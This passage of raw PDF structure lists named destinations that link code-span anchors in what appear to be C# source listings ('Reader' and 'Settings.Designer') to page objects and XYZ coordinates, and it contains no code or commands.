0 ] (Code/Reader/:__span-0-224) [ 1671 0 R /XYZ 60.307257 127.806726 0 ] (Code/Reader/:__span-0-225) [ 1671 0 R /XYZ 60.307257 114.406374 0 ] (Code/Reader/:__span-0-226) [ 1671 0 R /XYZ 60.307257 87.605670 0 ] (Code/Reader/:__span-0-227) [ 1673 0 R /XYZ 60.307257 771.023622 0 ] (Code/Reader/:__span-0-228) [ 1673 0 R /XYZ 60.307257 757.623270 0 ] (Code/Reader/:__span-0-229) [ 1673 0 R /XYZ 60.307257 744.222918 0 ] (Code/Reader/:__span-0-23) [ 1663 0 R /XYZ 60.307257 412.827678 0 ] (Code/Reader/:__span-0-230) [ 1673 0 R /XYZ 60.307257 730.822566 0 ] (Code/Reader/:__span-0-231) [ 1673 0 R /XYZ 60.307257 717.422214 0 ] (Code/Reader/:__span-0-232) [ 1673 0 R /XYZ 60.307257 704.021862 0 ] (Code/Reader/:__span-0-233) [ 1673 0 R /XYZ 60.307257 690.621510 0 ] (Code/Reader/:__span-0-234) [ 1673 0 R /XYZ 60.307257 677.221158 0 ] (Code/Reader/:__span-0-235) [ 1673 0 R /XYZ 60.307257 663.820806 0 ] (Code/Reader/:__span-0-236) [ 1673 0 R /XYZ 60.307257 650.420454 0 ] (Code/Reader/:__span-0-237) [ 1673 0 R /XYZ 60.307257 637.020102 0 ] (Code/Reader/:__span-0-238) [ 1673 0 R /XYZ 60.307257 623.619750 0 ] (Code/Reader/:__span-0-239) [ 1673 0 R /XYZ 60.307257 610.219398 0 ] (Code/Reader/:__span-0-24) [ 1663 0 R /XYZ 60.307257 399.427326 0 ] (Code/Reader/:__span-0-240) [ 1673 0 R /XYZ 60.307257 596.819046 0 ] (Code/Reader/:__span-0-241) [ 1673 0 R /XYZ 60.307257 570.018342 0 ] (Code/Reader/:__span-0-242) [ 1673 0 R /XYZ 60.307257 543.217638 0 ] (Code/Reader/:__span-0-243) [ 1673 0 R /XYZ 60.307257 529.817286 0 ] (Code/Reader/:__span-0-244) [ 1673 0 R /XYZ 60.307257 503.016582 0 ] (Code/Reader/:__span-0-245) [ 1673 0 R /XYZ 60.307257 489.616230 0 ] (Code/Reader/:__span-0-246) [ 1673 0 R /XYZ 60.307257 476.215878 0 ] (Code/Reader/:__span-0-247) [ 1673 0 R /XYZ 60.307257 462.815526 0 ] (Code/Reader/:__span-0-248) [ 1673 0 R /XYZ 60.307257 449.415174 0 ] (Code/Reader/:__span-0-249) [ 1673 0 R /XYZ 60.307257 436.014822 0 ] (Code/Reader/:__span-0-25) [ 1663 0 R /XYZ 60.307257 386.026974 0 ] (Code/Reader/:__span-0-250) [ 1673 0 R /XYZ 60.307257 422.614470 0 ] (Code/Reader/:__span-0-251) [ 1673 0 R /XYZ 60.307257 395.813766 0 ] (Code/Reader/:__span-0-252) [ 1673 0 R /XYZ 60.307257 369.013062 0 ] (Code/Reader/:__span-0-253) [ 1673 0 R /XYZ 60.307257 355.612710 0 ] (Code/Reader/:__span-0-254) [ 1673 0 R /XYZ 60.307257 342.212358 0 ] (Code/Reader/:__span-0-255) [ 1673 0 R /XYZ 60.307257 315.411654 0 ] (Code/Reader/:__span-0-256) [ 1673 0 R /XYZ 60.307257 288.610950 0 ] (Code/Reader/:__span-0-257) [ 1673 0 R /XYZ 60.307257 275.210598 0 ] (Code/Reader/:__span-0-258) [ 1673 0 R /XYZ 60.307257 248.409894 0 ] (Code/Reader/:__span-0-259) [ 1673 0 R /XYZ 60.307257 221.609190 0 ] (Code/Reader/:__span-0-26) [ 1663 0 R /XYZ 60.307257 372.626622 0 ] (Code/Reader/:__span-0-260) [ 1673 0 R /XYZ 60.307257 194.808486 0 ] (Code/Reader/:__span-0-261) [ 1673 0 R /XYZ 60.307257 168.007782 0 ] (Code/Reader/:__span-0-262) [ 1673 0 R /XYZ 60.307257 154.607430 0 ] (Code/Reader/:__span-0-263) [ 1673 0 R /XYZ 60.307257 141.207078 0 ] (Code/Reader/:__span-0-264) [ 1673 0 R /XYZ 60.307257 114.406374 0 ] (Code/Reader/:__span-0-265) [ 1673 0 R /XYZ 60.307257 101.006022 0 ] (Code/Reader/:__span-0-266) [ 1673 0 R /XYZ 60.307257 87.605670 0 ] (Code/Reader/:__span-0-267) [ 1675 0 R /XYZ 60.307257 771.023622 0 ] (Code/Reader/:__span-0-268) [ 1675 0 R /XYZ 60.307257 757.623270 0 ] (Code/Reader/:__span-0-269) [ 1675 0 R /XYZ 60.307257 730.822566 0 ] (Code/Reader/:__span-0-27) [ 1663 0 R /XYZ 60.307257 345.825918 0 ] (Code/Reader/:__span-0-270) [ 1675 0 R /XYZ 60.307257 690.621510 0 ] (Code/Reader/:__span-0-271) [ 1675 0 R /XYZ 60.307257 677.221158 0 ] (Code/Reader/:__span-0-272) [ 1675 0 R /XYZ 60.307257 650.420454 0 ] (Code/Reader/:__span-0-273) [ 1675 0 R /XYZ 60.307257 623.619750 0 ] (Code/Reader/:__span-0-274) [ 1675 0 R /XYZ 60.307257 610.219398 0 ] (Code/Reader/:__span-0-275) [ 1675 0 R /XYZ 60.307257 596.819046 0 ] (Code/Reader/:__span-0-276) [ 1675 0 R /XYZ 60.307257 583.418694 0 ] (Code/Reader/:__span-0-277) [ 1675 0 R /XYZ 60.307257 570.018342 0 ] (Code/Reader/:__span-0-278) [ 1675 0 R /XYZ 60.307257 556.617990 0 ] (Code/Reader/:__span-0-279) [ 1675 0 R /XYZ 60.307257 543.217638 0 ] (Code/Reader/:__span-0-28) [ 1663 0 R /XYZ 60.307257 332.425566 0 ] (Code/Reader/:__span-0-280) [ 1675 0 R /XYZ 60.307257 529.817286 0 ] (Code/Reader/:__span-0-281) [ 1675 0 R /XYZ 60.307257 516.416934 0 ] (Code/Reader/:__span-0-282) [ 1675 0 R /XYZ 60.307257 489.616230 0 ] (Code/Reader/:__span-0-283) [ 1675 0 R /XYZ 60.307257 476.215878 0 ] (Code/Reader/:__span-0-284) [ 1675 0 R /XYZ 60.307257 462.815526 0 ] (Code/Reader/:__span-0-285) [ 1675 0 R /XYZ 60.307257 449.415174 0 ] (Code/Reader/:__span-0-286) [ 1675 0 R /XYZ 60.307257 436.014822 0 ] (Code/Reader/:__span-0-287) [ 1675 0 R /XYZ 60.307257 409.214118 0 ] (Code/Reader/:__span-0-288) [ 1675 0 R /XYZ 60.307257 395.813766 0 ] (Code/Reader/:__span-0-289) [ 1675 0 R /XYZ 60.307257 382.413414 0 ] (Code/Reader/:__span-0-29) [ 1663 0 R /XYZ 60.307257 319.025214 0 ] (Code/Reader/:__span-0-290) [ 1675 0 R /XYZ 60.307257 369.013062 0 ] (Code/Reader/:__span-0-291) [ 1675 0 R /XYZ 60.307257 355.612710 0 ] (Code/Reader/:__span-0-292) [ 1675 0 R /XYZ 60.307257 342.212358 0 ] (Code/Reader/:__span-0-293) [ 1675 0 R /XYZ 60.307257 328.812006 0 ] (Code/Reader/:__span-0-294) [ 1675 0 R /XYZ 60.307257 315.411654 0 ] (Code/Reader/:__span-0-295) [ 1675 0 R /XYZ 60.307257 302.011302 0 ] (Code/Reader/:__span-0-296) [ 1675 0 R /XYZ 60.307257 288.610950 0 ] (Code/Reader/:__span-0-297) [ 1675 0 R /XYZ 60.307257 275.210598 0 ] (Code/Reader/:__span-0-298) [ 1675 0 R /XYZ 60.307257 248.409894 0 ] (Code/Reader/:__span-0-299) [ 1675 0 R /XYZ 60.307257 235.009542 0 ] (Code/Reader/:__span-0-3) [ 1663 0 R /XYZ 60.307257 680.834718 0 ] (Code/Reader/:__span-0-30) [ 1663 0 R /XYZ 60.307257 292.224510 0 ] (Code/Reader/:__span-0-300) [ 1675 0 R /XYZ 60.307257 208.208838 0 ] (Code/Reader/:__span-0-301) [ 1675 0 R /XYZ 60.307257 194.808486 0 ] (Code/Reader/:__span-0-302) [ 1675 0 R /XYZ 60.307257 181.408134 0 ] (Code/Reader/:__span-0-303) [ 1675 0 R /XYZ 60.307257 168.007782 0 ] (Code/Reader/:__span-0-304) [ 1675 0 R /XYZ 60.307257 154.607430 0 ] (Code/Reader/:__span-0-305) [ 1675 0 R /XYZ 60.307257 141.207078 0 ] (Code/Reader/:__span-0-306) [ 1675 0 R /XYZ 60.307257 127.806726 0 ] (Code/Reader/:__span-0-307) [ 1675 0 R /XYZ 60.307257 114.406374 0 ] (Code/Reader/:__span-0-308) [ 1675 0 R /XYZ 60.307257 101.006022 0 ] (Code/Reader/:__span-0-309) [ 1675 0 R /XYZ 60.307257 87.605670 0 ] (Code/Reader/:__span-0-31) [ 1663 0 R /XYZ 60.307257 278.824158 0 ] (Code/Reader/:__span-0-310) [ 1677 0 R /XYZ 60.307257 771.023622 0 ] (Code/Reader/:__span-0-311) [ 1677 0 R /XYZ 60.307257 757.623270 0 ] (Code/Reader/:__span-0-312) [ 1677 0 R /XYZ 60.307257 730.822566 0 ] (Code/Reader/:__span-0-313) [ 1677 0 R /XYZ 60.307257 717.422214 0 ] (Code/Reader/:__span-0-314) [ 1677 0 R /XYZ 60.307257 704.021862 0 ] (Code/Reader/:__span-0-315) [ 1677 0 R /XYZ 60.307257 690.621510 0 ] (Code/Reader/:__span-0-316) [ 1677 0 R /XYZ 60.307257 677.221158 0 ] (Code/Reader/:__span-0-317) [ 1677 0 R /XYZ 60.307257 663.820806 0 ] (Code/Reader/:__span-0-318) [ 1677 0 R /XYZ 60.307257 650.420454 0 ] (Code/Reader/:__span-0-319) [ 1677 0 R /XYZ 60.307257 637.020102 0 ] (Code/Reader/:__span-0-32) [ 1663 0 R /XYZ 60.307257 265.423806 0 ] (Code/Reader/:__span-0-320) [ 1677 0 R /XYZ 60.307257 623.619750 0 ] (Code/Reader/:__span-0-321) [ 1677 0 R /XYZ 60.307257 610.219398 0 ] (Code/Reader/:__span-0-322) [ 1677 0 R /XYZ 60.307257 596.819046 0 ] (Code/Reader/:__span-0-323) [ 1677 0 R /XYZ 60.307257 583.418694 0 ] (Code/Reader/:__span-0-324) [ 1677 0 R /XYZ 60.307257 570.018342 0 ] (Code/Reader/:__span-0-325) [ 1677 0 R /XYZ 60.307257 556.617990 0 ] (Code/Reader/:__span-0-326) [ 1677 0 R /XYZ 60.307257 543.217638 0 ] (Code/Reader/:__span-0-327) [ 1677 0 R /XYZ 60.307257 529.817286 0 ] (Code/Reader/:__span-0-328) [ 1677 0 R /XYZ 60.307257 516.416934 0 ] (Code/Reader/:__span-0-329) [ 1677 0 R /XYZ 60.307257 489.616230 0 ] (Code/Reader/:__span-0-33) [ 1663 0 R /XYZ 60.307257 252.023454 0 ] (Code/Reader/:__span-0-330) [ 1677 0 R /XYZ 60.307257 476.215878 0 ] (Code/Reader/:__span-0-331) [ 1677 0 R /XYZ 60.307257 462.815526 0 ] (Code/Reader/:__span-0-332) [ 1677 0 R /XYZ 60.307257 449.415174 0 ] (Code/Reader/:__span-0-333) [ 1677 0 R /XYZ 60.307257 436.014822 0 ] (Code/Reader/:__span-0-334) [ 1677 0 R /XYZ 60.307257 422.614470 0 ] (Code/Reader/:__span-0-335) [ 1677 0 R /XYZ 60.307257 409.214118 0 ] (Code/Reader/:__span-0-336) [ 1677 0 R /XYZ 60.307257 395.813766 0 ] (Code/Reader/:__span-0-337) [ 1677 0 R /XYZ 60.307257 382.413414 0 ] (Code/Reader/:__span-0-338) [ 1677 0 R /XYZ 60.307257 369.013062 0 ] (Code/Reader/:__span-0-34) [ 1663 0 R /XYZ 60.307257 238.623102 0 ] (Code/Reader/:__span-0-35) [ 1663 0 R /XYZ 60.307257 225.222750 0 ] (Code/Reader/:__span-0-36) [ 1663 0 R /XYZ 60.307257 211.822398 0 ] (Code/Reader/:__span-0-37) [ 1663 0 R /XYZ 60.307257 198.422046 0 ] (Code/Reader/:__span-0-38) [ 1663 0 R /XYZ 60.307257 171.621342 0 ] (Code/Reader/:__span-0-39) [ 1663 0 R /XYZ 60.307257 158.220990 0 ] (Code/Reader/:__span-0-4) [ 1663 0 R /XYZ 60.307257 667.434366 0 ] (Code/Reader/:__span-0-40) [ 1663 0 R /XYZ 60.307257 131.420286 0 ] (Code/Reader/:__span-0-41) [ 1663 0 R /XYZ 60.307257 104.619582 0 ] (Code/Reader/:__span-0-42) [ 1663 0 R /XYZ 60.307257 91.219230 0 ] (Code/Reader/:__span-0-43) [ 1665 0 R /XYZ 60.307257 757.623270 0 ] (Code/Reader/:__span-0-44) [ 1665 0 R /XYZ 60.307257 730.822566 0 ] (Code/Reader/:__span-0-45) [ 1665 0 R /XYZ 60.307257 717.422214 0 ] (Code/Reader/:__span-0-46) [ 1665 0 R /XYZ 60.307257 704.021862 0 ] (Code/Reader/:__span-0-47) [ 1665 0 R /XYZ 60.307257 690.621510 0 ] (Code/Reader/:__span-0-48) [ 1665 0 R /XYZ 60.307257 677.221158 0 ] (Code/Reader/:__span-0-49) [ 1665 0 R /XYZ 60.307257 663.820806 0 ] (Code/Reader/:__span-0-5) [ 1663 0 R /XYZ 60.307257 654.034014 0 ] (Code/Reader/:__span-0-50) [ 1665 0 R /XYZ 60.307257 650.420454 0 ] (Code/Reader/:__span-0-51) [ 1665 0 R /XYZ 60.307257 637.020102 0 ] (Code/Reader/:__span-0-52) [ 1665 0 R /XYZ 60.307257 623.619750 0 ] (Code/Reader/:__span-0-53) [ 1665 0 R /XYZ 60.307257 610.219398 0 ] (Code/Reader/:__span-0-54) [ 1665 0 R /XYZ 60.307257 596.819046 0 ] (Code/Reader/:__span-0-55) [ 1665 0 R /XYZ 60.307257 583.418694 0 ] (Code/Reader/:__span-0-56) [ 1665 0 R /XYZ 60.307257 570.018342 0 ] (Code/Reader/:__span-0-57) [ 1665 0 R /XYZ 60.307257 556.617990 0 ] (Code/Reader/:__span-0-58) [ 1665 0 R /XYZ 60.307257 543.217638 0 ] (Code/Reader/:__span-0-59) [ 1665 0 R /XYZ 60.307257 529.817286 0 ] (Code/Reader/:__span-0-6) [ 1663 0 R /XYZ 60.307257 640.633662 0 ] (Code/Reader/:__span-0-60) [ 1665 0 R /XYZ 60.307257 516.416934 0 ] (Code/Reader/:__span-0-61) [ 1665 0 R /XYZ 60.307257 503.016582 0 ] (Code/Reader/:__span-0-62) [ 1665 0 R /XYZ 60.307257 489.616230 0 ] (Code/Reader/:__span-0-63) [ 1665 0 R /XYZ 60.307257 476.215878 0 ] (Code/Reader/:__span-0-64) [ 1665 0 R /XYZ 60.307257 462.815526 0 ] (Code/Reader/:__span-0-65) [ 1665 0 R /XYZ 60.307257 449.415174 0 ] (Code/Reader/:__span-0-66) [ 1665 0 R /XYZ 60.307257 436.014822 0 ] (Code/Reader/:__span-0-67) [ 1665 0 R /XYZ 60.307257 422.614470 0 ] (Code/Reader/:__span-0-68) [ 1665 0 R /XYZ 60.307257 409.214118 0 ] (Code/Reader/:__span-0-69) [ 1665 0 R /XYZ 60.307257 395.813766 0 ] (Code/Reader/:__span-0-7) [ 1663 0 R /XYZ 60.307257 627.233310 0 ] (Code/Reader/:__span-0-70) [ 1665 0 R /XYZ 60.307257 382.413414 0 ] (Code/Reader/:__span-0-71) [ 1665 0 R /XYZ 60.307257 369.013062 0 ] (Code/Reader/:__span-0-72) [ 1665 0 R /XYZ 60.307257 355.612710 0 ] (Code/Reader/:__span-0-73) [ 1665 0 R /XYZ 60.307257 328.812006 0 ] (Code/Reader/:__span-0-74) [ 1665 0 R /XYZ 60.307257 315.411654 0 ] (Code/Reader/:__span-0-75) [ 1665 0 R /XYZ 60.307257 302.011302 0 ] (Code/Reader/:__span-0-76) [ 1665 0 R /XYZ 60.307257 288.610950 0 ] (Code/Reader/:__span-0-77) [ 1665 0 R /XYZ 60.307257 275.210598 0 ] (Code/Reader/:__span-0-78) [ 1665 0 R /XYZ 60.307257 261.810246 0 ] (Code/Reader/:__span-0-79) [ 1665 0 R /XYZ 60.307257 248.409894 0 ] (Code/Reader/:__span-0-8) [ 1663 0 R /XYZ 60.307257 613.832958 0 ] (Code/Reader/:__span-0-80) [ 1665 0 R /XYZ 60.307257 221.609190 0 ] (Code/Reader/:__span-0-81) [ 1665 0 R /XYZ 60.307257 208.208838 0 ] (Code/Reader/:__span-0-82) [ 1665 0 R /XYZ 60.307257 194.808486 0 ] (Code/Reader/:__span-0-83) [ 1665 0 R /XYZ 60.307257 168.007782 0 ] (Code/Reader/:__span-0-84) [ 1665 0 R /XYZ 60.307257 141.207078 0 ] (Code/Reader/:__span-0-85) [ 1665 0 R /XYZ 60.307257 114.406374 0 ] (Code/Reader/:__span-0-86) [ 1665 0 R /XYZ 60.307257 87.605670 0 ] (Code/Reader/:__span-0-87) [ 1667 0 R /XYZ 60.307257 771.023622 0 ] (Code/Reader/:__span-0-88) [ 1667 0 R /XYZ 60.307257 744.222918 0 ] (Code/Reader/:__span-0-89) [ 1667 0 R /XYZ 60.307257 730.822566 0 ] (Code/Reader/:__span-0-9) [ 1663 0 R /XYZ 60.307257 600.432606 0 ] (Code/Reader/:__span-0-90) [ 1667 0 R /XYZ 60.307257 704.021862 0 ] (Code/Reader/:__span-0-91) [ 1667 0 R /XYZ 60.307257 690.621510 0 ] (Code/Reader/:__span-0-92) [ 1667 0 R /XYZ 60.307257 663.820806 0 ] (Code/Reader/:__span-0-93) [ 1667 0 R /XYZ 60.307257 650.420454 0 ] (Code/Reader/:__span-0-94) [ 1667 0 R /XYZ 60.307257 623.619750 0 ] (Code/Reader/:__span-0-95) [ 1667 0 R /XYZ 60.307257 610.219398 0 ] (Code/Reader/:__span-0-96) [ 1667 0 R /XYZ 60.307257 596.819046 0 ] (Code/Reader/:__span-0-97) [ 1667 0 R /XYZ 60.307257 583.418694 0 ] (Code/Reader/:__span-0-98) [ 1667 0 R /XYZ 60.307257 556.617990 0 ] (Code/Reader/:__span-0-99) [ 1667 0 R /XYZ 60.307257 543.217638 0 ] (Code/Reader/:readercs) [ 1663 0 R /XYZ 39.386457 747.563622 0 ] (Code/Settings.Designer/:) [ 1551 0 R /XYZ 39.386457 747.563622 0 ] (Code/Settings.Designer/:__span-0-1) [ 1551 0 R /XYZ 60.307257 707.635422 0 ] (Code/Settings.Designer/:__span-0-10) [ 1551 0 R /XYZ 60.307257 587.032254 0 ] (Code/Settings.Designer/:__span-0-100) [ 1555 0 R /XYZ 60.307257 637.020102 0 ] (Code/Settings.Designer/:__span-0-101) [ 1555 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-102) [ 1555 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings.Designer/:__span-0-103) [ 1555 0 R /XYZ 60.307257 596.819046 0 ] (Code/Settings.Designer/:__span-0-104) [ 1555 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-105) [ 1555 0 R /XYZ 60.307257 570.018342 0 ] (Code/Settings.Designer/:__span-0-106) [ 1555 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-107) [ 1555 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-108) [ 1555 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-109) [ 1555 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-11) [ 1551 0 R /XYZ 60.307257 573.631902 0 ] (Code/Settings.Designer/:__span-0-110) [ 1555 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-111) [ 1555 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings.Designer/:__span-0-112) [ 1555 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings.Designer/:__span-0-113) [ 1555 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-114) [ 1555 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings.Designer/:__span-0-115) [ 1555 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings.Designer/:__span-0-116) [ 1555 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings.Designer/:__span-0-117) [ 1555 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings.Designer/:__span-0-118) [ 1555 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-119) [ 1555 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-12) [ 1551 0 R /XYZ 60.307257 560.231550 0 ] (Code/Settings.Designer/:__span-0-120) [ 1555 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings.Designer/:__span-0-121) [ 1555 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-122) [ 1555 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings.Designer/:__span-0-123) [ 1555 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-124) [ 1555 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-125) [ 1555 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-126) [ 1555 0 R /XYZ 60.307257 181.408134 0 ] (Code/Settings.Designer/:__span-0-127) [ 1555 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings.Designer/:__span-0-128) [ 1555 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-129) [ 1555 0 R /XYZ 60.307257 127.806726 0 ] (Code/Settings.Designer/:__span-0-13) [ 1551 0 R /XYZ 60.307257 546.831198 0 ] (Code/Settings.Designer/:__span-0-130) [ 1555 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-131) [ 1555 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-132) [ 1555 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings.Designer/:__span-0-133) [ 1557 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-134) [ 1557 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-135) [ 1557 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-136) [ 1557 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-137) [ 1557 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings.Designer/:__span-0-138) [ 1557 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-139) [ 1557 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-14) [ 1551 0 R /XYZ 60.307257 520.030494 0 ] (Code/Settings.Designer/:__span-0-140) [ 1557 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-141) [ 1557 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings.Designer/:__span-0-142) [ 1557 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-143) [ 1557 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings.Designer/:__span-0-144) [ 1557 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-145) [ 1557 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings.Designer/:__span-0-146) [ 1557 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-147) [ 1557 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-148) [ 1557 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-149) [ 1557 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-15) [ 1551 0 R /XYZ 60.307257 506.630142 0 ] (Code/Settings.Designer/:__span-0-150) [ 1557 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-151) [ 1557 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-152) [ 1557 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings.Designer/:__span-0-153) [ 1557 0 R /XYZ 60.307257 449.415174 0 ] (Code/Settings.Designer/:__span-0-154) [ 1557 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings.Designer/:__span-0-155) [ 1557 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-156) [ 1557 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings.Designer/:__span-0-157) [ 1557 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings.Designer/:__span-0-158) [ 1557 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-159) [ 1557 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-16) [ 1551 0 R /XYZ 60.307257 493.229790 0 ] (Code/Settings.Designer/:__span-0-160) [ 1557 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-161) [ 1557 0 R /XYZ 60.307257 302.011302 0 ] (Code/Settings.Designer/:__span-0-162) [ 1557 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-163) [ 1557 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-164) [ 1557 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-165) [ 1557 0 R /XYZ 60.307257 235.009542 0 ] (Code/Settings.Designer/:__span-0-166) [ 1557 0 R /XYZ 60.307257 221.609190 0 ] (Code/Settings.Designer/:__span-0-167) [ 1557 0 R /XYZ 60.307257 208.208838 0 ] (Code/Settings.Designer/:__span-0-168) [ 1557 0 R /XYZ 60.307257 194.808486 0 ] (Code/Settings.Designer/:__span-0-169) [ 1557 0 R /XYZ 60.307257 168.007782 0 ] (Code/Settings.Designer/:__span-0-17) [ 1551 0 R /XYZ 60.307257 479.829438 0 ] (Code/Settings.Designer/:__span-0-170) [ 1557 0 R /XYZ 60.307257 154.607430 0 ] (Code/Settings.Designer/:__span-0-171) [ 1557 0 R /XYZ 60.307257 114.406374 0 ] (Code/Settings.Designer/:__span-0-172) [ 1557 0 R /XYZ 60.307257 101.006022 0 ] (Code/Settings.Designer/:__span-0-173) [ 1557 0 R /XYZ 60.307257 87.605670 0 ] (Code/Settings.Designer/:__span-0-174) [ 1559 0 R /XYZ 60.307257 771.023622 0 ] (Code/Settings.Designer/:__span-0-175) [ 1559 0 R /XYZ 60.307257 757.623270 0 ] (Code/Settings.Designer/:__span-0-176) [ 1559 0 R /XYZ 60.307257 744.222918 0 ] (Code/Settings.Designer/:__span-0-177) [ 1559 0 R /XYZ 60.307257 730.822566 0 ] (Code/Settings.Designer/:__span-0-178) [ 1559 0 R /XYZ 60.307257 717.422214 0 ] (Code/Settings.Designer/:__span-0-179) [ 1559 0 R /XYZ 60.307257 690.621510 0 ] (Code/Settings.Designer/:__span-0-18) [ 1551 0 R /XYZ 60.307257 466.429086 0 ] (Code/Settings.Designer/:__span-0-180) [ 1559 0 R /XYZ 60.307257 677.221158 0 ] (Code/Settings.Designer/:__span-0-181) [ 1559 0 R /XYZ 60.307257 663.820806 0 ] (Code/Settings.Designer/:__span-0-182) [ 1559 0 R /XYZ 60.307257 650.420454 0 ] (Code/Settings.Designer/:__span-0-183) [ 1559 0 R /XYZ 60.307257 623.619750 0 ] (Code/Settings.Designer/:__span-0-184) [ 1559 0 R /XYZ 60.307257 610.219398 0 ] (Code/Settings.Designer/:__span-0-185) [ 1559 0 R /XYZ 60.307257 583.418694 0 ] (Code/Settings.Designer/:__span-0-186) [ 1559 0 R /XYZ 60.307257 556.617990 0 ] (Code/Settings.Designer/:__span-0-187) [ 1559 0 R /XYZ 60.307257 543.217638 0 ] (Code/Settings.Designer/:__span-0-188) [ 1559 0 R /XYZ 60.307257 529.817286 0 ] (Code/Settings.Designer/:__span-0-189) [ 1559 0 R /XYZ 60.307257 516.416934 0 ] (Code/Settings.Designer/:__span-0-19) [ 1551 0 R /XYZ 60.307257 453.028734 0 ] (Code/Settings.Designer/:__span-0-190) [ 1559 0 R /XYZ 60.307257 503.016582 0 ] (Code/Settings.Designer/:__span-0-191) [ 1559 0 R /XYZ 60.307257 489.616230 0 ] (Code/Settings.Designer/:__span-0-192) [ 1559 0 R /XYZ 60.307257 476.215878 0 ] (Code/Settings.Designer/:__span-0-193) [ 1559 0 R /XYZ 60.307257 462.815526 0 ] (Code/Settings.Designer/:__span-0-194) [ 1559 0 R /XYZ 60.307257 436.014822 0 ] (Code/Settings.Designer/:__span-0-195) [ 1559 0 R /XYZ 60.307257 422.614470 0 ] (Code/Settings.Designer/:__span-0-196) [ 1559 0 R /XYZ 60.307257 409.214118 0 ] (Code/Settings.Designer/:__span-0-197) [ 1559 0 R /XYZ 60.307257 395.813766 0 ] (Code/Settings.Designer/:__span-0-198) [ 1559 0 R /XYZ 60.307257 382.413414 0 ] (Code/Settings.Designer/:__span-0-199) [ 1559 0 R /XYZ 60.307257 369.013062 0 ] (Code/Settings.Designer/:__span-0-2) [ 1551 0 R /XYZ 60.307257 694.235070 0 ] (Code/Settings.Designer/:__span-0-20) [ 1551 0 R /XYZ 60.307257 439.628382 0 ] (Code/Settings.Designer/:__span-0-200) [ 1559 0 R /XYZ 60.307257 355.612710 0 ] (Code/Settings.Designer/:__span-0-201) [ 1559 0 R /XYZ 60.307257 342.212358 0 ] (Code/Settings.Designer/:__span-0-202) [ 1559 0 R /XYZ 60.307257 328.812006 0 ] (Code/Settings.Designer/:__span-0-203) [ 1559 0 R /XYZ 60.307257 315.411654 0 ] (Code/Settings.Designer/:__span-0-204) [ 1559 0 R /XYZ 60.307257 288.610950 0 ] (Code/Settings.Designer/:__span-0-205) [ 1559 0 R /XYZ 60.307257 275.210598 0 ] (Code/Settings.Designer/:__span-0-206) [ 1559 0 R /XYZ 60.307257 261.810246 0 ] (Code/Settings.Designer/:__span-0-207) [ 1559 0 R /XYZ 60.307257 248.409894 0 ] (Code/Settings.Designer/:__span-0-208) [ 1559 